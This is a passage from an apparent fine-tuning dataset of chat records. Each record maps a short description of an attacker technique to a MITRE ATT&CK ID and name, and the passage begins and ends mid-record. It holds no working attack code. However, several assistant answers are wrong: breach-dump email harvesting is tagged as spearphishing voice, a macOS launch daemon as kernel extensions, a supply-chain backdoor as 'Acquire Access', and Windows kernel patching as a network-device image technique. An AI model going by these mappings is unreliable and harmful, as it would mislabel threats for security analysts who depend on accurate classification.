                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor hijacks an expired domain and points it to their C2 server to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries harvest email addresses from data breach dumps posted on paste sites."
            },
            {
                "role": "assistant",
                "content": "T1598.004 - Phishing for Information: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group compromises a supplier's build server, inserting malicious code into the software supply chain that creates a backdoor account during installation."
            },
            {
                "role": "assistant",
                "content": "T1650 - Acquire Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs DNS enumeration to discover subdomains of the target organization."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A tool maps a malicious payload into the extra window memory of a victim process and then uses QueueUserAPC to run it."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary replaces the Windows kernel image with a maliciously patched version to gain persistent control."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker conducts DHCP spoofing by broadcasting DHCP OFFER packets with a higher lease priority, forcing clients to accept attacker‑provided configuration."
            },
            {
                "role": "assistant",
                "content": "T1557.003 - Adversary-in-the-Middle: DHCP Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leverages the Thread Local Storage mechanism to inject a DLL into a running process, bypassing standard import table checks."
            },
            {
                "role": "assistant",
                "content": "T1055.005 - Process Injection: Thread Local Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool accesses HKLM\\Security\\Policy\\Secrets to retrieve stored credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs token cloning via the DuplicateToken function, then upgrades the token's privileges to gain full control over the system."
            },
            {
                "role": "assistant",
                "content": "T1134.003 - Access Token Manipulation: Make and Impersonate Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious payload modifies its own timestamps to appear older and blend with legitimate system files."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use window messages to signal a remote code execution payload across separate processes."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A brief note: 'Password Spraying' – attacker tries a single password across many accounts, avoiding lockout triggers."
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker configures a command-and-control channel that only sends data to a malicious web service endpoint via POST, never receiving commands back."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber adversaries harvest the contents of a compromised Jenkins job configuration XML to retrieve build parameters and secret tokens."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder injects scripts that automatically resize cloud instances to increase resource allocation for cryptomining."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits insecure TFTP boot settings to deliver a backdoored kernel image during system start‑up."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a compromised CDN edge server to inject altered JavaScript into delivered web pages, enabling drive‑by attacks."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a script, the attacker renamed the payload to \"services.exe\" to masquerade as a Windows service."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses WebDAV to upload malicious scripts to a compromised web server."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor sets up a Tor hidden service to maintain an encrypted communication channel with infected hosts."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious update replaces the operating system's credential storage routine with one that uses reversible encryption, enabling the attacker to recover stored credentials."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary drops a login item in the macOS Login Items list, causing a backdoor to execute on boot."
            },
            {
                "role": "assistant",
                "content": "T1547.015 - Boot or Logon Autostart Execution: Login Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During an intrusion, the intruder adds a systemd timer that executes a script every minute to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses a compromised content delivery network (CDN) edge node to serve malicious scripts to end users."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor injects a new domain account into the LDAP directory using a custom exploit."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers commandeered a compromised blog platform to hide and distribute their malware distribution server."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies the registry key name with a U+202E character, causing the displayed key name to be reversed and hide its malicious purpose."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware analyzes the routing table via 'route PRINT' to locate the default route, thereby discovering how the system connects to the internet."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the file timestamps of malicious executables to match system files."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers reset network interface statistics and purge related event logs to eliminate indicators of compromise."
            },
            {
                "role": "assistant",
                "content": "T1070.007 - Indicator Removal: Clear Network Connection History and Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Odbcconf, the intruder adds a new ODBC provider entry in the registry that references a malicious DLL, enabling stealthy execution."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor used a script that repeatedly issues SNMP GET requests to retrieve the entire MIB database from a server."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary inspects WHOIS history records to track changes in domain ownership for the target."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor transferred sensitive documents onto a USB thumb drive and mailed it to an offshore address."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code uses the OS API to list nearby wireless access points for reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1016.002 - System Network Configuration Discovery: Wi-Fi Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries manipulate the Kerberos authentication process by adding a rogue user to the domain controller's account database."
            },
            {
                "role": "assistant",
                "content": "T1556.001 - Modify Authentication Process: Domain Controller Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary adds a custom root certificate to the Linux trust store, enabling interception of encrypted communications."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses system calls to pull the list of network adapters, their statuses, and associated IP configuration details."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email is sent to finance staff with a forged purchase order PDF that, when opened, drops a credential‑stealing tool."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan uses runtime lookup of system calls via LoadLibrary and GetProcAddress to hide its behavior."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware modifies proxy settings on a compromised host, making it an internal relay for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By creating a WMI event consumer tied to a specific Windows service start, the attacker achieves persistent code execution."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set uses a legitimate corporate VPN to tunnel exfiltrated data to an external IP address."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers generate a self-signed code signing certificate after infiltrating a software vendor's PKI infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised file is re-packed and stripped of its original PE sections, resulting in a lean payload that evades signature-based defenses."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise a privileged Azure AD account and generate new service principal credentials to expand their foothold."
            },
            {
                "role": "assistant",
                "content": "T1098.001 - Account Manipulation: Additional Cloud Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the use of SSH, the intruder logs into a Linux server from a compromised host to pivot."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary gains control over a partner's SSH key and uses it to authenticate to the victim's servers, taking advantage of the pre‑existing trust between the organizations."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder runs the 'whoami /all' command to discover the current domain account and then lists other accounts via 'net group \"Domain Admins\" /domain'."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor invokes InstallUtil via PowerShell to load and execute a harmful DLL, exploiting the system binary proxy execution technique."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom SSP is added to the authentication package list to execute code at logon."
            },
            {
                "role": "assistant",
                "content": "T1547.005 - Boot or Logon Autostart Execution: Security Support Provider"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use PowerShell scripts to query Outlook PST files on compromised workstations."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By reusing captured NTLM challenge-response hashes, the attacker authenticates to domain resources without needing the plaintext password."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Supply chain breach: compromised a legitimate code signing certificate to sign malware as trusted."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exploits a configuration flaw to limit the AES key length to 128 bits on the target system."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware drops a .xml task definition file and registers it with the Task Scheduler to run a command-line encoder every 30 minutes."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a launch daemon plist on macOS that runs a trojan at login."
            },
            {
                "role": "assistant",
                "content": "T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary crafts a WMI filter that targets specific Windows OS versions and executes a PowerShell backdoor."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor steals user passwords from a compromised webmail service to gain persistent access to victim email accounts."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy tool hooks the Windows Credential Provider API to steal credentials entered during Smart Card authentication."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerable blog comment section to inject a JavaScript payload that steals session tokens from visitors."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion script runs 'attrib -Z' on a downloaded file, removing the MOTW tag and evading Windows SmartScreen checks."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses Mavinject to load malicious code into a legitimate Windows service process, achieving execution while masquerading as a system binary."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker logged into the Cisco router via SSH and used the 'show running-config' command to dump the device's configuration file."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts stored SSH keys from the macOS Keychain to gain SSH access to other hosts."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised shared network drive is used to drop a malicious executable disguised as a legitimate installer, which users run."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script spawns a new process and then uses the WriteProcessMemory function to overwrite the target's code segment."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The instrumented tool scans registry hives for suspicious keys, using the RegEnumKeyEx function."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors abuse the public printer (PubPrn) endpoint to execute code on a target system through the PrintSystemRemote protocol."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code communicates with its C2 server through a remote PowerShell script that calls a publicly available web API for tasking."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employed the 'ping -a' command combined with service banner grabbing to discover network services on remote devices."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a .command file that invokes an AppleScript to add a new admin user on macOS."
            },
            {
                "role": "assistant",
                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant exfiltrates files by embedding them in image files and uploading to a compromised web server."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor leverages a domain generation algorithm that creates domains based on the system’s locale settings."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors insert a cron task that runs a network scanning utility weekly to discover new targets."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
